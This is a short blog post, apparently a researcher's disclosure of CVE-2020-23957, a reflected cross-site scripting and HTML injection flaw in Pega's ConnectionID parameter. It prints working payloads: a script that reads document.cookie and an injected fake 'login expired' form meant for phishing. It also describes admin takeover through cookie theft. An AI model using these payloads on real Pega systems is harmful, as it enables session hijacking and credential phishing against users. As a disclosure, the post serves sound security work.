jayaram krishna kumar Follow

Dec 13, 2020 · 1 min read · Listen

Save

CROSS SITE SCRIPTING IN PEGA CVE-2020–23957

While testing an application that deployed using the Pega framework I came across this reflected cross-site scripting vulnerability and also HTML code injection. I have tested this vulnerability in random versions like 7.4 to current version 8.4.0 I see the same behavior in all existing versions of Pega.

Vulnerable endpoint:

URL https://redacted.com/redacted/PRAuth/DO7joI3soeSoOCkz5pMNmA%28%28*/!TABTHREAD0?pyActivity=Data-TRACERSettings.pzStartTracerSession&ThreadName=Tracer&ConnectionID=HR55ZB6DG94ETMXD5R%22%3E%3C/br%3E%3C/br%3E%3C/br%3E%3Ch1%3Elogin%20expired%20please%20login%20again%3C/h1%3E%3Cform%20action=%22/action_page.php%22%20method=%22get%22%20target=%22_blank%22%3E%3Clabel%20for=%22fname%22%3EFirst%20name:%3C/label%3E%3Cinput%20type=%22text%22%20id=%22fname%22%20name=%22fname%22%3E%3Cbr%3E%3Cbr%3E%3Clabel%20for=%22lname%22%3ELast%20name:%3C/label%3E%3Cinput%20type=%22text%22%20id=%22lname%22%20name=%22lname%22%3E%3Cbr%3E%3Cbr%3E%3Cinput%20type=%22submit%22%20value=%22Submit%22%3E%3C/form%3E

https://redacted.com/redacted/PRAuth/DO7joI3soeSoOCkz5pMNmA%28%28*/!TABTHREAD0?pyActivity=Data-TRACERSettings.pzStartTracerSession&ThreadName=Tracer&ConnectionID=HX73BLKUO84AKEETR55ZB6DG94ETMXD5R%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Executing arbitrary javascript and getting the user cookie

((*/!TABTHREAD0?pyActivity=Data-TRACERSettings.pzStartTracerSession&ThreadName=Tracer&ConnectionID=HX73BLKUO84AKEETR55ZB6DG94ETMXD5R”><script>alert(document.cookie)</script>

Inserting fake html on original page using HTML code injection

((*/!TABTHREAD0?pyActivity=Data-TRACERSettings.pzStartTracerSession&ThreadName=Tracer&ConnectionID=HX73O84AKTMXD5R”></br></br></br><h1>login expired please login again</h1><form action=”/action_page.php” method=”get” target=”_blank”><label for=”fname”>First name:</label><input type=”text” id=”fname” name=”fname”><br><br><label for=”lname”>Last name:</label><input type=”text” id=”lname” name=”lname”><br><br><input type=”submit” value=”Submit”></form>

Vulnerable parameter:

ConnectionID=

Exploit scenarios:

A successful attack can take over the pega admin or grain access to the system via cookie stealing or fake html code injection at vulnerable parameter using some advanced techniques by hosting a fake website or special targeted phishing email etc.

Pega Xss Cve 2020 23957

14